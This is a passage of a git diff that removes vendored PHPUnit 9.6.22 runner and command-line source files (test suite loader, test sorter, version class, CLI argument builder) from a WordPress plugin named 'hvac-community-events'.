/dev/null @@ -1,152 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -use function array_diff; -use function array_values; -use function basename; -use function class_exists; -use function get_declared_classes; -use function sprintf; -use function stripos; -use function strlen; -use function substr; -use PHPUnit\Framework\TestCase; -use PHPUnit\Util\FileLoader; -use ReflectionClass; -use ReflectionException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 - */ -final class StandardTestSuiteLoader implements TestSuiteLoader -{ - /** - * @throws Exception - */ - public function load(string $suiteClassFile): ReflectionClass - { - $suiteClassName = basename($suiteClassFile, '.php'); - $loadedClasses = get_declared_classes(); - - if (!class_exists($suiteClassName, false)) { - /* @noinspection UnusedFunctionResultInspection */ - FileLoader::checkAndLoad($suiteClassFile); - - $loadedClasses = array_values( - array_diff(get_declared_classes(), $loadedClasses), - ); - - if (empty($loadedClasses)) { - throw new Exception( - sprintf( - 'Class %s could not be found in %s', - $suiteClassName, - $suiteClassFile, - ), - ); - } - } - - if (!class_exists($suiteClassName, false)) { - $offset = 0 - strlen($suiteClassName); - - foreach ($loadedClasses as $loadedClass) { - // @see https://github.com/sebastianbergmann/phpunit/issues/5020 - if (stripos(substr($loadedClass, $offset - 1), '\\' . $suiteClassName) === 0 || - stripos(substr($loadedClass, $offset - 1), '_' . $suiteClassName) === 0) { - $suiteClassName = $loadedClass; - - break; - } - } - } - - if (!class_exists($suiteClassName, false)) { - throw new Exception( - sprintf( - 'Class %s could not be found in %s', - $suiteClassName, - $suiteClassFile, - ), - ); - } - - try { - $class = new ReflectionClass($suiteClassName); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if ($class->isSubclassOf(TestCase::class)) { - if ($class->isAbstract()) { - throw new Exception( - sprintf( - 'Class %s declared in %s is abstract', - $suiteClassName, - $suiteClassFile, - ), - ); - } - - return $class; - } - - if ($class->hasMethod('suite')) { - try { - $method = $class->getMethod('suite'); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - sprintf( - 'Method %s::suite() declared in %s is abstract', - $suiteClassName, - $suiteClassFile, - ), - ); - } - - if (!$method->isPublic()) { - throw new Exception( - sprintf( - 'Method %s::suite() declared in %s is not public', - $suiteClassName, - $suiteClassFile, - ), - ); - } - - if (!$method->isStatic()) { - throw new Exception( - sprintf( - 'Method %s::suite() declared in %s is not static', - $suiteClassName, - $suiteClassFile, - ), - ); - } - } - - return $class; - } - - public function reload(ReflectionClass $aClass): ReflectionClass - { - return $aClass; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/TestResultCache.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/TestResultCache.php deleted file mode 100644 index 69e62828..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/TestResultCache.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface TestResultCache -{ - public function setState(string $testName, int $state): void; - - public function getState(string $testName): int; - - public function setTime(string $testName, float $time): void; - - public function getTime(string $testName): float; - - public function load(): void; - - public function persist(): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/TestSuiteLoader.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/TestSuiteLoader.php deleted file mode 100644 index c9d8e01b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/TestSuiteLoader.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -use ReflectionClass; - -/** - * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -interface TestSuiteLoader -{ - public function load(string $suiteClassFile): ReflectionClass; - - public function reload(ReflectionClass $aClass): ReflectionClass; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/TestSuiteSorter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/TestSuiteSorter.php deleted file mode 100644 index a48a7db6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/TestSuiteSorter.php +++ /dev/null @@ -1,395 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -use function array_diff; -use function array_merge; -use function array_reverse; -use function array_splice; -use function count; -use function in_array; -use function max; -use function shuffle; -use function usort; -use PHPUnit\Framework\DataProviderTestSuite; -use PHPUnit\Framework\Reorderable; -use PHPUnit\Framework\Test; -use PHPUnit\Framework\TestCase; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Util\Test as TestUtil; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class TestSuiteSorter -{ - /** - * @var int - */ - public const ORDER_DEFAULT = 0; - - /** - * @var int - */ - public const ORDER_RANDOMIZED = 1; - - /** - * @var int - */ - public const ORDER_REVERSED = 2; - - /** - * @var int - */ - public const ORDER_DEFECTS_FIRST = 3; - - /** - * @var int - */ - public const ORDER_DURATION = 4; - - /** - * Order tests by @size annotation 'small', 'medium', 'large'. - * - * @var int - */ - public const ORDER_SIZE = 5; - - /** - * List of sorting weights for all test result codes. A higher number gives higher priority. - */ - private const DEFECT_SORT_WEIGHT = [ - BaseTestRunner::STATUS_ERROR => 6, - BaseTestRunner::STATUS_FAILURE => 5, - BaseTestRunner::STATUS_WARNING => 4, - BaseTestRunner::STATUS_INCOMPLETE => 3, - BaseTestRunner::STATUS_RISKY => 2, - BaseTestRunner::STATUS_SKIPPED => 1, - BaseTestRunner::STATUS_UNKNOWN => 0, - ]; - - private const SIZE_SORT_WEIGHT = [ - TestUtil::SMALL => 1, - TestUtil::MEDIUM => 2, - TestUtil::LARGE => 3, - TestUtil::UNKNOWN => 4, - ]; - - /** - * @var array Associative array of (string => DEFECT_SORT_WEIGHT) elements - */ - private $defectSortOrder = []; - - /** - * @var TestResultCache - */ - private $cache; - - /** - * @var array A list of normalized names of tests before reordering - */ - private $originalExecutionOrder = []; - - /** - * @var array A list of normalized names of tests affected by reordering - */ - private $executionOrder = []; - - public function __construct(?TestResultCache $cache = null) - { - $this->cache = $cache ?? new NullTestResultCache; - } - - /** - * @throws Exception - * @throws InvalidArgumentException - */ - public function reorderTestsInSuite(Test $suite, int $order, bool $resolveDependencies, int $orderDefects, bool $isRootTestSuite = true): void - { - $allowedOrders = [ - self::ORDER_DEFAULT, - self::ORDER_REVERSED, - self::ORDER_RANDOMIZED, - self::ORDER_DURATION, - self::ORDER_SIZE, - ]; - - if (!in_array($order, $allowedOrders, true)) { - throw new Exception( - '$order must be one of TestSuiteSorter::ORDER_[DEFAULT|REVERSED|RANDOMIZED|DURATION|SIZE]', - ); - } - - $allowedOrderDefects = [ - self::ORDER_DEFAULT, - self::ORDER_DEFECTS_FIRST, - ]; - - if (!in_array($orderDefects, $allowedOrderDefects, true)) { - throw new Exception( - '$orderDefects must be one of TestSuiteSorter::ORDER_DEFAULT, TestSuiteSorter::ORDER_DEFECTS_FIRST', - ); - } - - if ($isRootTestSuite) { - $this->originalExecutionOrder = $this->calculateTestExecutionOrder($suite); - } - - if ($suite instanceof TestSuite) { - foreach ($suite as $_suite) { - $this->reorderTestsInSuite($_suite, $order, $resolveDependencies, $orderDefects, false); - } - - if ($orderDefects === self::ORDER_DEFECTS_FIRST) { - $this->addSuiteToDefectSortOrder($suite); - } - - $this->sort($suite, $order, $resolveDependencies, $orderDefects); - } - - if ($isRootTestSuite) { - $this->executionOrder = $this->calculateTestExecutionOrder($suite); - } - } - - public function getOriginalExecutionOrder(): array - { - return $this->originalExecutionOrder; - } - - public function getExecutionOrder(): array - { - return $this->executionOrder; - } - - private function sort(TestSuite $suite, int $order, bool $resolveDependencies, int $orderDefects): void - { - if (empty($suite->tests())) { - return; - } - - if ($order === self::ORDER_REVERSED) { - $suite->setTests($this->reverse($suite->tests())); - } elseif ($order === self::ORDER_RANDOMIZED) { - $suite->setTests($this->randomize($suite->tests())); - } elseif ($order === self::ORDER_DURATION && $this->cache !== null) { - $suite->setTests($this->sortByDuration($suite->tests())); - } elseif ($order === self::ORDER_SIZE) { - $suite->setTests($this->sortBySize($suite->tests())); - } - - if ($orderDefects === self::ORDER_DEFECTS_FIRST && $this->cache !== null) { - $suite->setTests($this->sortDefectsFirst($suite->tests())); - } - - if ($resolveDependencies && !($suite instanceof DataProviderTestSuite)) { - /** @var TestCase[] $tests */ - $tests = $suite->tests(); - - $suite->setTests($this->resolveDependencies($tests)); - } - } - - /** - * @throws InvalidArgumentException - */ - private function addSuiteToDefectSortOrder(TestSuite $suite): void - { - $max = 0; - - foreach ($suite->tests() as $test) { - if (!$test instanceof Reorderable) { - continue; - } - - if (!isset($this->defectSortOrder[$test->sortId()])) { - $this->defectSortOrder[$test->sortId()] = self::DEFECT_SORT_WEIGHT[$this->cache->getState($test->sortId())]; - $max = max($max, $this->defectSortOrder[$test->sortId()]); - } - } - - $this->defectSortOrder[$suite->sortId()] = $max; - } - - private function reverse(array $tests): array - { - return array_reverse($tests); - } - - private function randomize(array $tests): array - { - shuffle($tests); - - return $tests; - } - - private function sortDefectsFirst(array $tests): array - { - usort( - $tests, - /** - * @throws InvalidArgumentException - */ - function ($left, $right) - { - return $this->cmpDefectPriorityAndTime($left, $right); - }, - ); - - return $tests; - } - - private function sortByDuration(array $tests): array - { - usort( - $tests, - /** - * @throws InvalidArgumentException - */ - function ($left, $right) - { - return $this->cmpDuration($left, $right); - }, - ); - - return $tests; - } - - private function sortBySize(array $tests): array - { - usort( - $tests, - /** - * @throws InvalidArgumentException - */ - function ($left, $right) - { - return $this->cmpSize($left, $right); - }, - ); - - return $tests; - } - - /** - * Comparator callback function to sort tests for "reach failure as fast as possible". - * - * 1. sort tests by defect weight defined in self::DEFECT_SORT_WEIGHT - * 2. when tests are equally defective, sort the fastest to the front - * 3. do not reorder successful tests - * - * @throws InvalidArgumentException - */ - private function cmpDefectPriorityAndTime(Test $a, Test $b): int - { - if (!($a instanceof Reorderable && $b instanceof Reorderable)) { - return 0; - } - - $priorityA = $this->defectSortOrder[$a->sortId()] ?? 0; - $priorityB = $this->defectSortOrder[$b->sortId()] ?? 0; - - if ($priorityB <=> $priorityA) { - // Sort defect weight descending - return $priorityB <=> $priorityA; - } - - if ($priorityA || $priorityB) { - return $this->cmpDuration($a, $b); - } - - // do not change execution order - return 0; - } - - /** - * Compares test duration for sorting tests by duration ascending. - * - * @throws InvalidArgumentException - */ - private function cmpDuration(Test $a, Test $b): int - { - if (!($a instanceof Reorderable && $b instanceof Reorderable)) { - return 0; - } - - return $this->cache->getTime($a->sortId()) <=> $this->cache->getTime($b->sortId()); - } - - /** - * Compares test size for sorting tests small->medium->large->unknown. - */ - private function cmpSize(Test $a, Test $b): int - { - $sizeA = ($a instanceof TestCase || $a instanceof DataProviderTestSuite) - ? $a->getSize() - : TestUtil::UNKNOWN; - $sizeB = ($b instanceof TestCase || $b instanceof DataProviderTestSuite) - ? $b->getSize() - : TestUtil::UNKNOWN; - - return self::SIZE_SORT_WEIGHT[$sizeA] <=> self::SIZE_SORT_WEIGHT[$sizeB]; - } - - /** - * Reorder Tests within a TestCase in such a way as to resolve as many dependencies as possible. - * The algorithm will leave the tests in original running order when it can. - * For more details see the documentation for test dependencies. - * - * Short description of algorithm: - * 1. Pick the next Test from remaining tests to be checked for dependencies. - * 2. If the test has no dependencies: mark done, start again from the top - * 3. If the test has dependencies but none left to do: mark done, start again from the top - * 4. When we reach the end add any leftover tests to the end. These will be marked 'skipped' during execution. - * - * @param array $tests - * - * @return array - */ - private function resolveDependencies(array $tests): array - { - $newTestOrder = []; - $i = 0; - $provided = []; - - do { - if ([] === array_diff($tests[$i]->requires(), $provided)) { - $provided = array_merge($provided, $tests[$i]->provides()); - $newTestOrder = array_merge($newTestOrder, array_splice($tests, $i, 1)); - $i = 0; - } else { - $i++; - } - } while (!empty($tests) && ($i < count($tests))); - - return array_merge($newTestOrder, $tests); - } - - /** - * @throws InvalidArgumentException - */ - private function calculateTestExecutionOrder(Test $suite): array - { - $tests = []; - - if ($suite instanceof TestSuite) { - foreach ($suite->tests() as $test) { - if (!$test instanceof TestSuite && $test instanceof Reorderable) { - $tests[] = $test->sortId(); - } else { - $tests = array_merge($tests, $this->calculateTestExecutionOrder($test)); - } - } - } - - return $tests; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Version.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Version.php deleted file mode 100644 index 0e8638cb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Version.php +++ /dev/null @@ -1,76 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -use function array_slice; -use function assert; -use function dirname; -use function explode; -use function implode; -use function strpos; -use SebastianBergmann\Version as VersionId; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class Version -{ - /** - * @var string - */ - private static $pharVersion = ''; - - /** - * @var string - */ - private static $version = ''; - - /** - * Returns the current version of PHPUnit. - * - * @psalm-return non-empty-string - */ - public static function id(): string - { - if (self::$pharVersion !== '') { - return self::$pharVersion; - } - - if (self::$version === '') { - self::$version = (new VersionId('9.6.22', dirname(__DIR__, 2)))->getVersion(); - - assert(!empty(self::$version)); - } - - return self::$version; - } - - /** - * @psalm-return non-empty-string - */ - public static function series(): string - { - if (strpos(self::id(), '-')) { - $version = explode('-', self::id())[0]; - } else { - $version = self::id(); - } - - return implode('.', array_slice(explode('.', $version), 0, 2)); - } - - /** - * @psalm-return non-empty-string - */ - public static function getVersionString(): string - { - return 'PHPUnit ' . self::id() . ' by Sebastian Bergmann and contributors.'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Builder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Builder.php deleted file mode 100644 index 51f0a513..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Builder.php +++ /dev/null @@ -1,886 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\CliArguments; - -use function array_map; -use function array_merge; -use function class_exists; -use function explode; -use function is_numeric; -use function str_replace; -use PHPUnit\Runner\TestSuiteSorter; -use PHPUnit\TextUI\DefaultResultPrinter; -use PHPUnit\TextUI\XmlConfiguration\Extension; -use PHPUnit\Util\Log\TeamCity; -use PHPUnit\Util\TestDox\CliTestDoxPrinter; -use SebastianBergmann\CliParser\Exception as CliParserException; -use SebastianBergmann\CliParser\Parser as CliParser; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Builder -{ - private const LONG_OPTIONS = [ - 'atleast-version=', - 'prepend=', - 'bootstrap=', - 'cache-result', - 'do-not-cache-result', - 'cache-result-file=', - 'check-version', - 'colors==', - 'columns=', - 'configuration=', - 'coverage-cache=', - 'warm-coverage-cache', - 'coverage-filter=', - 'coverage-clover=', - 'coverage-cobertura=', - 'coverage-crap4j=', - 'coverage-html=', - 'coverage-php=', - 'coverage-text==', - 'coverage-xml=', - 'path-coverage', - 'debug', - 'disallow-test-output', - 'disallow-resource-usage', - 'disallow-todo-tests', - 'default-time-limit=', - 'enforce-time-limit', - 'exclude-group=', - 'extensions=', - 'filter=', - 'generate-configuration', - 'globals-backup', - 'group=', - 'covers=', - 'uses=', - 'help', - 'resolve-dependencies', - 'ignore-dependencies', - 'include-path=', - 'list-groups', - 'list-suites', - 'list-tests', - 'list-tests-xml=', - 'loader=', - 'log-junit=', - 'log-teamcity=', - 'migrate-configuration', - 'no-configuration', - 'no-coverage', - 'no-logging', - 'no-interaction', - 'no-extensions', - 'order-by=', - 'printer=', - 'process-isolation', - 'repeat=', - 'dont-report-useless-tests', - 'random-order', - 'random-order-seed=', - 'reverse-order', - 'reverse-list', - 'static-backup', - 'stderr', - 'stop-on-defect', - 'stop-on-error', - 'stop-on-failure', - 'stop-on-warning', - 'stop-on-incomplete', - 'stop-on-risky', - 'stop-on-skipped', - 'fail-on-empty-test-suite', - 'fail-on-incomplete', - 'fail-on-risky', - 'fail-on-skipped', - 'fail-on-warning', - 'strict-coverage', - 'disable-coverage-ignore', - 'strict-global-state', - 'teamcity', - 'testdox', - 'testdox-group=', - 'testdox-exclude-group=', - 'testdox-html=', - 'testdox-text=', - 'testdox-xml=', - 'test-suffix=', - 'testsuite=', - 'verbose', - 'version', - 'whitelist=', - 'dump-xdebug-filter=', - ]; - private const SHORT_OPTIONS = 'd:c:hv'; - - public function fromParameters(array $parameters, array $additionalLongOptions): Configuration - { - try { - $options = (new CliParser)->parse( - $parameters, - self::SHORT_OPTIONS, - array_merge(self::LONG_OPTIONS, $additionalLongOptions), - ); - } catch (CliParserException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - - $argument = null; - $atLeastVersion = null; - $backupGlobals = null; - $backupStaticAttributes = null; - $beStrictAboutChangesToGlobalState = null; - $beStrictAboutResourceUsageDuringSmallTests = null; - $bootstrap = null; - $cacheResult = null; - $cacheResultFile = null; - $checkVersion = null; - $colors = null; - $columns = null; - $configuration = null; - $coverageCacheDirectory = null; - $warmCoverageCache = null; - $coverageFilter = null; - $coverageClover = null; - $coverageCobertura = null; - $coverageCrap4J = null; - $coverageHtml = null; - $coveragePhp = null; - $coverageText = null; - $coverageTextShowUncoveredFiles = null; - $coverageTextShowOnlySummary = null; - $coverageXml = null; - $pathCoverage = null; - $debug = null; - $defaultTimeLimit = null; - $disableCodeCoverageIgnore = null; - $disallowTestOutput = null; - $disallowTodoAnnotatedTests = null; - $enforceTimeLimit = null; - $excludeGroups = null; - $executionOrder = null; - $executionOrderDefects = null; - $extensions = []; - $unavailableExtensions = []; - $failOnEmptyTestSuite = null; - $failOnIncomplete = null; - $failOnRisky = null; - $failOnSkipped = null; - $failOnWarning = null; - $filter = null; - $generateConfiguration = null; - $migrateConfiguration = null; - $groups = null; - $testsCovering = null; - $testsUsing = null; - $help = null; - $includePath = null; - $iniSettings = []; - $junitLogfile = null; - $listGroups = null; - $listSuites = null; - $listTests = null; - $listTestsXml = null; - $loader = null; - $noCoverage = null; - $noExtensions = null; - $noInteraction = null; - $noLogging = null; - $printer = null; - $processIsolation = null; - $randomOrderSeed = null; - $repeat = null; - $reportUselessTests = null; - $resolveDependencies = null; - $reverseList = null; - $stderr = null; - $strictCoverage = null; - $stopOnDefect = null; - $stopOnError = null; - $stopOnFailure = null; - $stopOnIncomplete = null; - $stopOnRisky = null; - $stopOnSkipped = null; - $stopOnWarning = null; - $teamcityLogfile = null; - $testdoxExcludeGroups = null; - $testdoxGroups = null; - $testdoxHtmlFile = null; - $testdoxTextFile = null; - $testdoxXmlFile = null; - $testSuffixes = null; - $testSuite = null; - $unrecognizedOptions = []; - $unrecognizedOrderBy = null; - $useDefaultConfiguration = null; - $verbose = null; - $version = null; - $xdebugFilterFile = null; - - if (isset($options[1][0])) { - $argument = $options[1][0]; - } - - foreach ($options[0] as $option) { - switch ($option[0]) { - case '--colors': - $colors = $option[1] ?: DefaultResultPrinter::COLOR_AUTO; - - break; - - case '--bootstrap': - $bootstrap = $option[1]; - - break; - - case '--cache-result': - $cacheResult = true; - - break; - - case '--do-not-cache-result': - $cacheResult = false; - - break; - - case '--cache-result-file': - $cacheResultFile = $option[1]; - - break; - - case '--columns': - if (is_numeric($option[1])) { - $columns = (int) $option[1]; - } elseif ($option[1] === 'max') { - $columns = 'max'; - } - - break; - - case 'c': - case '--configuration': - $configuration = $option[1]; - - break; - - case '--coverage-cache': - $coverageCacheDirectory = $option[1]; - - break; - - case '--warm-coverage-cache': - $warmCoverageCache = true; - - break; - - case '--coverage-clover': - $coverageClover = $option[1]; - - break; - - case '--coverage-cobertura': - $coverageCobertura = $option[1]; - - break; - - case '--coverage-crap4j': - $coverageCrap4J = $option[1]; - - break; - - case '--coverage-html': - $coverageHtml = $option[1]; - - break; - - case '--coverage-php': - $coveragePhp = $option[1]; - - break; - - case '--coverage-text': - if ($option[1] === null) { - $option[1] = 'php://stdout'; - } - - $coverageText = $option[1]; - $coverageTextShowUncoveredFiles = false; - $coverageTextShowOnlySummary = false; - - break; - - case '--coverage-xml': - $coverageXml = $option[1]; - - break; - - case '--path-coverage': - $pathCoverage = true; - - break; - - case 'd': - $tmp = explode('=', $option[1]); - - if (isset($tmp[0])) { - if (isset($tmp[1])) { - $iniSettings[$tmp[0]] = $tmp[1]; - } else { - $iniSettings[$tmp[0]] = '1'; - } - } - - break; - - case '--debug': - $debug = true; - - break; - - case 'h': - case '--help': - $help = true; - - break; - - case '--filter': - $filter = $option[1]; - - break; - - case '--testsuite': - $testSuite = $option[1]; - - break; - - case '--generate-configuration': - $generateConfiguration = true; - - break; - - case '--migrate-configuration': - $migrateConfiguration = true; - - break; - - case '--group': - $groups = explode(',', $option[1]); - - break; - - case '--exclude-group': - $excludeGroups = explode(',', $option[1]); - - break; - - case '--covers': - $testsCovering = array_map('strtolower', explode(',', $option[1])); - - break; - - case '--uses': - $testsUsing = array_map('strtolower', explode(',', $option[1])); - - break; - - case '--test-suffix': - $testSuffixes = explode(',', $option[1]); - - break; - - case '--include-path': - $includePath = $option[1]; - - break; - - case '--list-groups': - $listGroups = true; - - break; - - case '--list-suites': - $listSuites = true; - - break; - - case '--list-tests': - $listTests = true; - - break; - - case '--list-tests-xml': - $listTestsXml = $option[1]; - - break; - - case '--printer': - $printer = $option[1]; - - break; - - case '--loader': - $loader = $option[1]; - - break; - - case '--log-junit': - $junitLogfile = $option[1]; - - break; - - case '--log-teamcity': - $teamcityLogfile = $option[1]; - - break; - - case '--order-by': - foreach (explode(',', $option[1]) as $order) { - switch ($order) { - case 'default': - $executionOrder = TestSuiteSorter::ORDER_DEFAULT; - $executionOrderDefects = TestSuiteSorter::ORDER_DEFAULT; - $resolveDependencies = true; - - break; - - case 'defects': - $executionOrderDefects = TestSuiteSorter::ORDER_DEFECTS_FIRST; - - break; - - case 'depends': - $resolveDependencies = true; - - break; - - case 'duration': - $executionOrder = TestSuiteSorter::ORDER_DURATION; - - break; - - case 'no-depends': - $resolveDependencies = false; - - break; - - case 'random': - $executionOrder = TestSuiteSorter::ORDER_RANDOMIZED; - - break; - - case 'reverse': - $executionOrder = TestSuiteSorter::ORDER_REVERSED; - - break; - - case 'size': - $executionOrder = TestSuiteSorter::ORDER_SIZE; - - break; - - default: - $unrecognizedOrderBy = $order; - } - } - - break; - - case '--process-isolation': - $processIsolation = true; - - break; - - case '--repeat': - $repeat = (int) $option[1]; - - break; - - case '--stderr': - $stderr = true; - - break; - - case '--stop-on-defect': - $stopOnDefect = true; - - break; - - case '--stop-on-error': - $stopOnError = true; - - break; - - case '--stop-on-failure': - $stopOnFailure = true; - - break; - - case '--stop-on-warning': - $stopOnWarning = true; - - break; - - case '--stop-on-incomplete': - $stopOnIncomplete = true; - - break; - - case '--stop-on-risky': - $stopOnRisky = true; - - break; - - case '--stop-on-skipped': - $stopOnSkipped = true; - - break; - - case '--fail-on-empty-test-suite': - $failOnEmptyTestSuite = true; - - break; - - case '--fail-on-incomplete': - $failOnIncomplete = true; - - break; - - case '--fail-on-risky': - $failOnRisky = true; - - break; - - case '--fail-on-skipped': - $failOnSkipped = true; - - break; - - case '--fail-on-warning': - $failOnWarning = true; - - break; - - case '--teamcity': - $printer = TeamCity::class; - - break; - - case '--testdox': - $printer = CliTestDoxPrinter::class; - - break; - - case '--testdox-group': - $testdoxGroups = explode(',', $option[1]); - - break; - - case '--testdox-exclude-group': - $testdoxExcludeGroups = explode(',', $option[1]); - - break; - - case '--testdox-html': - $testdoxHtmlFile = $option[1]; - - break; - - case '--testdox-text': - $testdoxTextFile = $option[1]; - - break; - - case '--testdox-xml': - $testdoxXmlFile = $option[1]; - - break; - - case '--no-configuration': - $useDefaultConfiguration = false; - - break; - - case '--extensions': - foreach (explode(',', $option[1]) as $extensionClass) { - if (!class_exists($extensionClass)) { - $unavailableExtensions[] = $extensionClass; - - continue; - } - - $extensions[] = new Extension($extensionClass, '', []); - } - - break; - - case '--no-extensions': - $noExtensions = true; - - break; - - case '--no-coverage': - $noCoverage = true; - - break; - - case '--no-logging': - $noLogging = true; - - break; - - case '--no-interaction': - $noInteraction = true; - - break; - - case '--globals-backup': - $backupGlobals = true; - - break; - - case '--static-backup': - $backupStaticAttributes = true; - - break; - - case 'v': - case '--verbose': - $verbose = true; - - break; - - case '--atleast-version': - $atLeastVersion = $option[1]; - - break; - - case '--version': - $version = true; - - break; - - case '--dont-report-useless-tests': - $reportUselessTests = false; - - break; - - case '--strict-coverage': - $strictCoverage = true; - - break; - - case '--disable-coverage-ignore': - $disableCodeCoverageIgnore = true; - - break; - - case '--strict-global-state': - $beStrictAboutChangesToGlobalState = true; - - break; - - case '--disallow-test-output': - $disallowTestOutput = true; - - break; - - case '--disallow-resource-usage': - $beStrictAboutResourceUsageDuringSmallTests = true; - - break; - - case '--default-time-limit': - $defaultTimeLimit = (int) $option[1]; - - break; - - case '--enforce-time-limit': - $enforceTimeLimit = true; - - break; - - case '--disallow-todo-tests': - $disallowTodoAnnotatedTests = true; - - break; - - case '--reverse-list': - $reverseList = true; - - break; - - case '--check-version': - $checkVersion = true; - - break; - - case '--coverage-filter': - case '--whitelist': - if ($coverageFilter === null) { - $coverageFilter = []; - } - - $coverageFilter[] = $option[1]; - - break; - - case '--random-order': - $executionOrder = TestSuiteSorter::ORDER_RANDOMIZED; - - break; - - case '--random-order-seed': - $randomOrderSeed = (int) $option[1]; - - break; - - case '--resolve-dependencies': - $resolveDependencies = true; - - break; - - case '--ignore-dependencies': - $resolveDependencies = false; - - break; - - case '--reverse-order': - $executionOrder = TestSuiteSorter::ORDER_REVERSED; - - break; - - case '--dump-xdebug-filter': - $xdebugFilterFile = $option[1]; - - break; - - default: - $unrecognizedOptions[str_replace('--', '', $option[0])] = $option[1]; - } - } - - if (empty($extensions)) { - $extensions = null; - } - - if (empty($unavailableExtensions)) { - $unavailableExtensions = null; - } - - if (empty($iniSettings)) { - $iniSettings = null; - } - - if (empty($coverageFilter)) { - $coverageFilter = null; - } - - return new Configuration( - $argument, - $atLeastVersion, - $backupGlobals, - $backupStaticAttributes, - $beStrictAboutChangesToGlobalState, - $beStrictAboutResourceUsageDuringSmallTests, - $bootstrap, - $cacheResult, - $cacheResultFile, - $checkVersion, - $colors, - $columns, - $configuration, - $coverageClover, - $coverageCobertura, - $coverageCrap4J, - $coverageHtml, - $coveragePhp, - $coverageText, - $coverageTextShowUncoveredFiles, - $coverageTextShowOnlySummary, - $coverageXml, - $pathCoverage, - $coverageCacheDirectory, - $warmCoverageCache, - $debug, - $defaultTimeLimit, - $disableCodeCoverageIgnore, - $disallowTestOutput, - $disallowTodoAnnotatedTests, - $enforceTimeLimit, - $excludeGroups, - $executionOrder, - $executionOrderDefects, - $extensions, - $unavailableExtensions, - $failOnEmptyTestSuite, - $failOnIncomplete, - $failOnRisky, - $failOnSkipped, - $failOnWarning, - $filter, - $generateConfiguration, - $migrateConfiguration, - $groups, - $testsCovering, - $testsUsing, - $help, - $includePath, - $iniSettings, - $junitLogfile, - $listGroups, - $listSuites, - $listTests, - $listTestsXml, - $loader, - $noCoverage, - $noExtensions, - $noInteraction, - $noLogging, - $printer, - $processIsolation, - $randomOrderSeed, - $repeat, - $reportUselessTests, - $resolveDependencies, - $reverseList, - $stderr, - $strictCoverage, - $stopOnDefect, - $stopOnError, - $stopOnFailure, - $stopOnIncomplete, - $stopOnRisky, - $stopOnSkipped, - $stopOnWarning, - $teamcityLogfile, - $testdoxExcludeGroups, - $testdoxGroups, - $testdoxHtmlFile, - $testdoxTextFile, - $testdoxXmlFile, - $testSuffixes, - $testSuite, - $unrecognizedOptions, - $unrecognizedOrderBy, - $useDefaultConfiguration, - $verbose, - $version, - $coverageFilter, - $xdebugFilterFile, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Configuration.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Configuration.php deleted file mode 100644 index 51bf5cb8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Configuration.php +++ /dev/null @@ -1,2108 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\CliArguments; - -use PHPUnit\TextUI\XmlConfiguration\Extension; - -/** - 